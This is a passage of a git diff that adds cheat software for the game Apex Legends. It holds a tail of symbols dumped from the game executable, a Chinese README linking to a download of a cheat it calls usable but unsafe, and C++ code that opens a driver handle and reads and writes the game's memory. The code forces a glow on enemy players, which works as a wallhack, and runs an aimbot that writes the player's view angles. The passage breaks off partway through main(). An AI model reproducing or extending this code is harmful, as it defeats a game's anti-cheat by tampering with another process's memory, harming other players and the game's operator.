.?AVC_TEExplosion@@ +r5apex.exe!0x011b2b98 .?AVC_TEGibEvent@@ +r5apex.exe!0x011b2ba8 .?AVC_TEGibEvent@@ +r5apex.exe!0x01c537a0 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01c537b0 .?AVC_TEPhysicsProp@@ +r5apex.exe!0x01e97ff0 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01e98000 .?AVC_TEProjectileTrail@@ +r5apex.exe!0x01ca34e0 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01ca34f0 .?AVC_TEScriptParticleSystem@@ +r5apex.exe!0x01c76180 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01c76190 .?AVC_TEScriptParticleSystemOnEntity@@ +r5apex.exe!0x01ca8000 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01ca8010 .?AVC_TEScriptParticleSystemOnEntityWithPos@@ +r5apex.exe!0x01c5ef70 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c5ef80 .?AVC_TEShatterSurface@@ +r5apex.exe!0x01c5bfc0 .?AVC_TESoundDispatch@@ +r5apex.exe!0x01c5bfd0 .?AVC_TESoundDispatch@@ +r5apex.exe!0x011b74c8 .?AVC_TempEntsSystem@@ +r5apex.exe!0x01c90de0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90e10 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90e40 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90e70 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90ea0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90ed0 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90f00 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01c90f30 .?AVC_TraceFilterSkipTwoEntities@@ +r5apex.exe!0x01e96030 .?AVC_TurretList@@ +r5apex.exe!0x01e9d340 .?AVC_WeaponXList@@ +r5apex.exe!0x01ed4b80 .?AVChannel@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed57c0 .?AVChannelMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4bb0 .?AVChannelMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4c60 .?AVChannelMuteList@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5290 .?AVChannelMuteListV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5300 .?AVChannelV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5810 .?AVChatChannelUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5840 .?AVChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5860 .?AVChatChannelsRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5890 .?AVChatChannelsV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed58e0 .?AVChatConnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5908 .?AVChatDisconnectedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5348 .?AVChatInitiateSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5930 .?AVChatInitiateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5978 .?AVChatLeaveV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5998 .?AVChatLeftV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6058 .?AVChatMembersRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed59c0 .?AVChatMembersRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5a00 .?AVChatMembersV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6078 .?AVChatTypingEventRequestErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5a58 .?AVChatTypingEventRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5a90 .?AVChatTypingEventV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5ae0 .?AVChatUserMutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5b18 .?AVChatUserUnmutedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01294848 .?AVClientDataBlockReceiver@@ +r5apex.exe!0x018c1380 .?AVClientModeFullscreen@@ +r5apex.exe!0x01ed4ca0 .?AVCommunication@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed46c8 .?AVCommunication@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4700 .?AVCommunicationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5610 .?AVCustomMessage@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x00e8d930 .?AVDNameStatusNode@@ +r5apex.exe!0x00e8d940 .?AVDNameStatusNode@@ +r5apex.exe!0x00e8d950 .?AVDNameStatusNode@@ +r5apex.exe!0x00e8d960 .?AVDNameStatusNode@@ +r5apex.exe!0x01192dc0 .?AVDenuvoTrialV2@@ +r5apex.exe!0x01eecb20 .?AVDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eecc08 .?AVDescriptorProto_ExtensionRange@protobuf@google@@ +r5apex.exe!0x01eecc30 .?AVDescriptorProto_ReservedRange@protobuf@google@@ +r5apex.exe!0x01eecc50 .?AVEnumDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eeccc0 .?AVEnumDescriptorProto_EnumReservedRange@protobuf@google@@ +r5apex.exe!0x01eecce0 .?AVEnumOptions@protobuf@google@@ +r5apex.exe!0x01eecd30 .?AVEnumValueDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eecd60 .?AVEnumValueOptions@protobuf@google@@ +r5apex.exe!0x01ed60c0 .?AVErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eecdb0 .?AVExtensionRangeOptions@protobuf@google@@ +r5apex.exe!0x01ed5b50 .?AVFetchStickyMessagesRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eece20 .?AVFieldDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eecea0 .?AVFieldOptions@protobuf@google@@ +r5apex.exe!0x01ed6098 .?AVFieldViolationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eecf00 .?AVFileDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eecfd8 .?AVFileDescriptorSet@protobuf@google@@ +r5apex.exe!0x01eed010 .?AVFileOptions@protobuf@google@@ +r5apex.exe!0x01eed0b8 .?AVGeneratedCodeInfo@protobuf@google@@ +r5apex.exe!0x01eed0f0 .?AVGeneratedCodeInfo_Annotation@protobuf@google@@ +r5apex.exe!0x01ed66c0 .?AVGetPreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed66d8 .?AVGetPreferenceResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6640 .?AVGetRolesRequest@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6658 .?AVGetRolesResponse@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4d40 .?AVGroupMembershipChange@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x0189d3e0 .?AVHardwareConfigDX11@@ +r5apex.exe!0x01ed4db0 .?AVHeader@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5368 .?AVHeartbeatV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4de0 .?AVHistoryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4e20 .?AVHistoryResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x011b81d8 .?AVIPredictionSystem_Client@@ +r5apex.exe!0x012ef4b0 .?AVImeTextStore@@ +r5apex.exe!0x012ef4b8 .?AVImeTextStore@@ +r5apex.exe!0x012ef4c0 .?AVImeTextStore@@ +r5apex.exe!0x012ef4c8 .?AVImeTextStore@@ +r5apex.exe!0x012ef4d0 .?AVImeTextStore@@ +r5apex.exe!0x012ef4d8 .?AVImeTextStore@@ +r5apex.exe!0x012ef4e0 .?AVImeTextStore@@ +r5apex.exe!0x012ef4e8 .?AVImeTextStore@@ +r5apex.exe!0x01ed6480 .?AVInvitation@protocol@respawn@ea@com@@ +r5apex.exe!0x01ed6120 .?AVLoginErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4e70 .?AVLoginRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed48b0 .?AVLoginRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed48d8 .?AVLoginRequestV2@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4910 .?AVLoginRequestV3@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4ea0 .?AVLoginResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5380 .?AVLoginV2Success@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed53a0 .?AVLoginV3Response@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4f00 .?AVLogoutRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01279e58 .?AVMapSettingsReseter@@ +r5apex.exe!0x01eed130 .?AVMessageOptions@protobuf@google@@ +r5apex.exe!0x01eed180 .?AVMethodDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eed1c0 .?AVMethodOptions@protobuf@google@@ +r5apex.exe!0x01eac650 .?AVMonitorDefaultChanges@@ +r5apex.exe!0x01ed5b70 .?AVMuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed53d8 .?AVMutedSetV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4f18 .?AVMutedUser@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4f48 .?AVMutedUserV1@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed56d0 .?AVNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eecdf8 .?AVOneofDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eed210 .?AVOneofOptions@protobuf@google@@ +r5apex.exe!0x01ed5400 .?AVPersonaV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4f80 .?AVPlayer@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed64b8 .?AVPlayer@protocol@respawn@ea@com@@ +r5apex.exe!0x01ed65b8 .?AVPlayer@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed65e0 .?AVPlayerInfo@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5640 .?AVPointToPointMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6200 .?AVPresenceSubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6248 .?AVPresenceSubscriptionErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6280 .?AVPresenceUnsubscribeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed62c8 .?AVPresenceUpdateErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed62f0 .?AVPresenceUpdateV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6340 .?AVPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5ba0 .?AVPromoteStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4fa8 .?AVPublishBinaryRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4fd0 .?AVPublishResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5008 .?AVPublishTextRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed67a0 .?AVRateLimitConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4960 .?AVReconnectRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5bd8 .?AVRemoveStickyMessageRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed63a0 .?AVRichPresenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x012b5540 .?AVSVC_UserMessage@@ +r5apex.exe!0x01ed67c8 .?AVServerConfigRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed67e0 .?AVServerConfigV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eed260 .?AVServiceDescriptorProto@protobuf@google@@ +r5apex.exe!0x01eed2a0 .?AVServiceOptions@protobuf@google@@ +r5apex.exe!0x01ed5430 .?AVSessionCleanupV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5720 .?AVSessionNotificationV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5450 .?AVSessionRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5468 .?AVSessionResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5498 .?AVSessionV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eed2f0 .?AVSourceCodeInfo@protobuf@google@@ +r5apex.exe!0x01eed320 .?AVSourceCodeInfo_Location@protobuf@google@@ +r5apex.exe!0x01ed5c00 .?AVStickyMessageChangedV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5c28 .?AVStickyMessageResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed54d0 .?AVStickyMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5038 .?AVSubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5060 .?AVSubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5530 .?AVSuccessV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed50b0 .?AVTextMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5570 .?AVTextMessageV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed66f8 .?AVTranslationPreferenceV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eed390 .?AVUninterpretedOption@protobuf@google@@ +r5apex.exe!0x01eece78 .?AVUninterpretedOption_NamePart@protobuf@google@@ +r5apex.exe!0x01ed5c60 .?AVUnmuteUserV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5108 .?AVUnsubscribeRequest@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5128 .?AVUnsubscribeResponse@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6720 .?AVUpdatePreferenceRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed56f8 .?AVUserMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ea8fb8 .?AVVPanelWrapper@@ +r5apex.exe!0x01ed6150 .?AVValidationErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5c90 .?AVWorldChatAssignV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5cb8 .?AVWorldChatChannelsRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5ce0 .?AVWorldChatChannelsResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5d20 .?AVWorldChatConfigurationRequestV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5d38 .?AVWorldChatConfigurationResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5d68 .?AVWorldChatMembershipChangeV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5d90 .?AVWorldChatResponseV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed5df0 .?AVWorldChatShard@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed64e0 .?AVeadpRespawnPresence@protocol@respawn@ea@com@@ +r5apex.exe!0x01ed6530 .?AVp2pPayload@protocol@respawn@ea@com@@ +r5apex.exe!0x01ed4588 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x0414abf8 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x0414bc58 .?AVstl_critical_section_win7@details@Concurrency@@ +``` + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\350\276\205\345\212\251]/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\350\276\205\345\212\251]/README.md" new file mode 100644 index 0000000..3832612 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\346\234\200\346\226\260\350\276\205\345\212\251]/README.md" @@ -0,0 +1,7 @@ +# 前言 + +能用的辅助,但是不安全的,你们可以试试看效果 + +如果你连怎么使用的不知道的话,那请不要使用 + +[下载地址](https://wwx.lanzoux.com/iqex5ipsbuh) diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/cheats.hpp" new file mode 100644 index 0000000..11c1c11 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/cheats.hpp" @@ -0,0 +1,437 @@ +#pragma once + +#include "memory.hpp" +#include "vectors.hpp" + +constexpr const char* title = "R5Apex.exe"; + +DWORD32 g_pid = 7296; +DWORD64 g_base = 0x00007FF6ED2A0000; + +// +typedef struct Bone +{ + uint8_t pad1[0xCC]; + float x; + uint8_t pad2[0xC]; + float y; + uint8_t pad3[0xC]; + float z; +}Bone; + +// ʵ +class Entity +{ +public: + Entity(DWORD32 pid, DWORD64 p) + { + ptr = p; + + struct help { uint8_t data[0x3FF0]{ 0 }; }; + help temp = read(pid, ptr); + memcpy(buffer, temp.data, 0x3FF0); + } + +public: + uint64_t ptr; + uint8_t buffer[0x3FF0]; + + // ȡλ + Vector getPosition() + { + return *(Vector*)(buffer + 0x14c); + } + + // Ƿ + bool isDummy() + { + return *(int*)(buffer + 0x430) == 97; + } + + // Ƿ + bool isPlayer() + { + return *(uint64_t*)(buffer + 0x561) == 125780153691248; + } + + // + bool isKnocked() + { + return *(int*)(buffer + 0x2610) > 0; + } + + // Ƿ + bool isAlive() + { + return *(int*)(buffer + 0x770) == 0; + } + + // һЧʱ + float lastVisTime() + { + return *(float*)(buffer + 0x1A6C); + } + + // ŶID + int getTeamId() + { + return *(int*)(buffer + 0x430); + } + + // Ѫ + int getHealth() + { + return *(int*)(buffer + 0x420); + } + + // ֵ + int getShield() + { + return *(int*)(buffer + 0x170); + } + + // ǷԹ + bool isGlowing() + { + return *(int*)(buffer + 0x350) == 7; + } + + Vector getAbsVelocity() + { + return *(Vector*)(buffer + 0x140); + } + + // ȡǶ + QAngle GetSwayAngles() + { + return *(QAngle*)(buffer + 0x24A0 - 0x10); + } + + // ȡǶ + QAngle GetViewAngles() + { + return *(QAngle*)(buffer + 0x24A0); + } + + // ȡλ + Vector GetCamPos() + { + return *(Vector*)(buffer + 0x1E6C); + } + + // ȡ + QAngle GetRecoil() + { + return *(QAngle*)(buffer + 0x23C8); + } + + Vector GetViewAnglesV() {} + + // ûԹ + void enableGlow(DWORD32 pid) + { + write(pid, ptr + 0x262, 16256); + write(pid, ptr + 0x2c4, 1193322764); + write(pid, ptr + 0x350, 7); + write(pid, ptr + 0x360, 2); + } + + // ûԹ + void disableGlow(DWORD32 pid) + { + write(pid, ptr + 0x262, 0); + write(pid, ptr + 0x2c4, 0); + write(pid, ptr + 0x350, 2); + write(pid, ptr + 0x360, 5); + } + + // ýǶ + void SetViewAngles(DWORD32 pid, Vector v) + { + write(pid, ptr + 0x24A0, v); + } + + // ȡλ + Vector getBonePosition(int pid, int id) + { + Vector position = getPosition(); + uintptr_t boneArray = *(uintptr_t*)(buffer + 0xF18); + Vector bone = Vector(); + uint32_t boneloc = (id * 0x30); + Bone bo = read(pid, boneArray + boneloc); + bone.x = bo.x + position.x; + bone.y = bo.y + position.y; + bone.z = bo.z + position.z; + return bone; + } + uint64_t Observing() {} +}; + +// ʼ +bool initialize() +{ + // ҽ + g_pid = get_process_id("r5apex.exe"); + if (g_pid == 0) return false; + + return true; +} + +// Թ +void glow_players(bool state = true) +{ + // ȡԼַ + DWORD64 local_player_ptr = read(g_pid, g_base + 0x1c5bcc8); + if (local_player_ptr == 0) return; + Entity local_player(g_pid, local_player_ptr); + + // Լ + if (local_player.isAlive() == false) return; + + // Ӫж + int team = local_player.getTeamId(); + if (team <= 0 || team > 50) return; + + // б + uint64_t entitylist = g_base + 0x18ad3a8; + + // + for (int i = 0; i < 9000; i++) + { + // ȡ + uint64_t centity = read(g_pid, entitylist + ((uint64_t)i << 5)); + if (centity == 0 || centity == local_player_ptr) continue; + + // ʵ + Entity e(g_pid, centity); + if ((e.isDummy() || e.isPlayer()) && e.isAlive()) + { + // ûԹ + if (state) + e.enableGlow(g_pid); + else + e.disableGlow(g_pid); + } + } +} + +// Ƕ +QAngle calc_angle(const Vector& src, const Vector& dst) +{ + QAngle angle = QAngle(); + QAngle delta = QAngle((src.x - dst.x), (src.y - dst.y), (src.z - dst.z)); + + double hyp = sqrt(delta.x*delta.x + delta.y * delta.y); + + angle.x = atan(delta.z / hyp) * (180.0f / M_PI); + angle.y = atan(delta.y / delta.x) * (180.0f / M_PI); + angle.z = 0; + if (delta.x >= 0.0) angle.y += 180.0f; + + return angle; +} + +/* 淶Ƕ */ +void clamp_angles(D3DXVECTOR3& vAngles) +{ + while (vAngles.y < -180.0f) vAngles.y += 360.0f; + while (vAngles.y > 180.0f) vAngles.y -= 360.0f; + + if (vAngles.x < -89.0f) vAngles.x = 89.0f; + if (vAngles.x > 89.0f) vAngles.x = 89.0f; + + vAngles.z = 0; +} + +// һ +void normalize_angles(QAngle& angle) +{ + while (angle.x > 89.0f) + angle.x -= 180.f; + + while (angle.x < -89.0f) + angle.x += 180.f; + + while (angle.y > 180.f) + angle.y -= 360.f; + + while (angle.y < -180.f) + angle.y += 360.f; +} + +// ȡfov +double get_fov(const QAngle& viewAngle, const QAngle& aimAngle) +{ + QAngle delta = aimAngle - viewAngle; + normalize_angles(delta); + + return sqrt(pow(delta.x, 2.0f) + pow(delta.y, 2.0f)); +} + +//ȡǶ +void get_aimbot_angle(Vector self_location, Vector player_location, QAngle& aim_angle) +{ + float x = self_location[0] - player_location[0]; + float y = self_location[1] - player_location[1]; + float z = self_location[2] - player_location[2] + 65.0f; + + const float pi = 3.1415f; + aim_angle[0] = (float)atan(z / sqrt(x * x + y * y)) / pi * 180.f; + aim_angle[1] = (float)atan(y / x); + + if (x >= 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f - 180.0f; + else if (x < 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; + else if (x < 0.0f && y < 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; + else if (x >= 0.0f && y < 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.f + 180.0f; +} + +// ȡfovֵ +bool get_the_fov(Entity& local_player, Entity& target, double& d, Vector& v) +{ + Vector LocalCamera = local_player.GetCamPos(); + Vector TargetBonePosition = target.getBonePosition(g_pid, 2); + QAngle CalculatedAngles = calc_angle(LocalCamera, TargetBonePosition); + QAngle ViewAngles = local_player.GetViewAngles(); + QAngle SwayAngles = local_player.GetSwayAngles(); + + get_aimbot_angle(local_player.getBonePosition(g_pid, 8), TargetBonePosition, CalculatedAngles); + + //remove sway and recoil + //CalculatedAngles -= SwayAngles - ViewAngles; + // CalculatedAngles -= local_player.GetRecoil(); + CalculatedAngles -= local_player.GetRecoil() /** 1.5f*/; + + normalize_angles(CalculatedAngles); + + QAngle Delta = CalculatedAngles - ViewAngles; + double f = get_fov(SwayAngles, CalculatedAngles); + if (d < f) return false; + else d = f; + + normalize_angles(Delta); + QAngle SmoothedAngles = ViewAngles + Delta; + + v.x = CalculatedAngles.x; + v.y = CalculatedAngles.y; + v.z = CalculatedAngles.z; + + return true; +} + +// Fov +float calculate_fov(Entity& from, Entity& target) +{ + QAngle ViewAngles = from.GetViewAngles(); + Vector LocalCamera = from.GetCamPos(); + Vector EntityPosition = target.getPosition(); + QAngle Angle = calc_angle(LocalCamera, EntityPosition); + return get_fov(ViewAngles, Angle); +} + +// Ƕ +bool calculate_best_bone_aim(Entity& from, Entity& target, float max_fov, Vector& v) +{ + Vector LocalCamera = from.GetCamPos(); + Vector TargetBonePosition = target.getBonePosition(g_pid, 8); + QAngle CalculatedAngles = calc_angle(LocalCamera, TargetBonePosition); + QAngle ViewAngles = from.GetViewAngles(); + QAngle SwayAngles = from.GetSwayAngles(); + + //remove sway and recoil + //CalculatedAngles -= SwayAngles - ViewAngles; + + normalize_angles(CalculatedAngles); + QAngle Delta = CalculatedAngles - ViewAngles; + double fov = get_fov(SwayAngles, CalculatedAngles); + if (fov > max_fov) return false; + + normalize_angles(Delta); + + QAngle SmoothedAngles = ViewAngles + Delta; + v.x = SmoothedAngles.x; + v.y = SmoothedAngles.y; + v.z = SmoothedAngles.z; + + return true; +} + +// ʼ +bool start_aimbot(Entity& local_player, Entity& target) +{ + Vector LocalCamera = local_player.GetCamPos(); + Vector TargetBonePosition = target.getBonePosition(g_pid, 8); + QAngle CalculatedAngles = calc_angle(LocalCamera, TargetBonePosition); + QAngle ViewAngles = local_player.GetViewAngles(); + QAngle SwayAngles = local_player.GetSwayAngles(); + + //remove sway and recoil + CalculatedAngles -= SwayAngles - ViewAngles; + + normalize_angles(CalculatedAngles); + + QAngle Delta = CalculatedAngles - ViewAngles; + double fov = get_fov(SwayAngles, CalculatedAngles); + + if (fov > 50.0f) return false; + + normalize_angles(Delta); + QAngle SmoothedAngles = ViewAngles + Delta; + Vector r{ }; + r.x = SmoothedAngles.x; + r.y = SmoothedAngles.y; + r.z = SmoothedAngles.z; + local_player.SetViewAngles(g_pid, r); + + return true; +} + +// +void aimbot_players() +{ + // ȡԼַ + DWORD64 local_player_ptr = read(g_pid, g_base + 0x1c5bcc8); + if (local_player_ptr == 0) return; + Entity local_player(g_pid, local_player_ptr); + + // Լ + if (local_player.isAlive() == false) return; + + // ȡԼλ + Vector LocalPlayerPosition = local_player.getPosition(); + + // Сfov + double min_fov = 30.0f; + bool state = false; + Vector v; + + // б + uint64_t entitylist = g_base + 0x18ad3a8; + + // + for (int i = 0; i < 9000; i++) + { + // ȡ + uint64_t centity = read(g_pid, entitylist + ((uint64_t)i << 5)); + if (centity == 0 || centity == local_player_ptr) continue; + + // ʵ + Entity e(g_pid, centity); + + // + if ((e.isPlayer() || e.isDummy()) && e.isAlive() && local_player.getTeamId() != e.getTeamId()) + { + // ȡ + float distance = LocalPlayerPosition.DistTo(e.getPosition()); + //printf(" : %f \n", distance); + if (distance > 2000.0f) continue; + + // ָǶ + if (get_the_fov(local_player, e, min_fov, v)) + state = true; + } + } + + // + if (state) + local_player.SetViewAngles(g_pid, v); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/main.cpp" new file mode 100644 index 0000000..5e08463 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/main.cpp" @@ -0,0 +1,83 @@ +#include "overlay.hpp" + +#include + +#include +#include + +bool g_thread = true; + +void _cdecl glow_thread(void* data) +{ + while (g_thread) + { + // 辉光 + glow_players(true); + + Sleep(1); + } + + glow_players(false); + return; +} + +void _cdecl aim_thread(void* data) +{ + while (g_thread) + { + // 自瞄玩家 + bool state = (GetAsyncKeyState(VK_LBUTTON) & 0x8000) || (GetAsyncKeyState(VK_CONTROL) & 0x8000); + if (state) aimbot_players(); + + Sleep(1); + } +} + +int main(int argc, char* argv[]) +{ + HANDLE hDriver = open_device(); + if (hDriver == 0) return 0; + + if (initialize() == false) return 0; + + std::cout << _beginthread(glow_thread, 0, nullptr) << std::endl; + std::cout << _beginthread(aim_thread, 0, nullptr) << std::endl; + + while (true) + { + std::cout << "wait for you input : " << 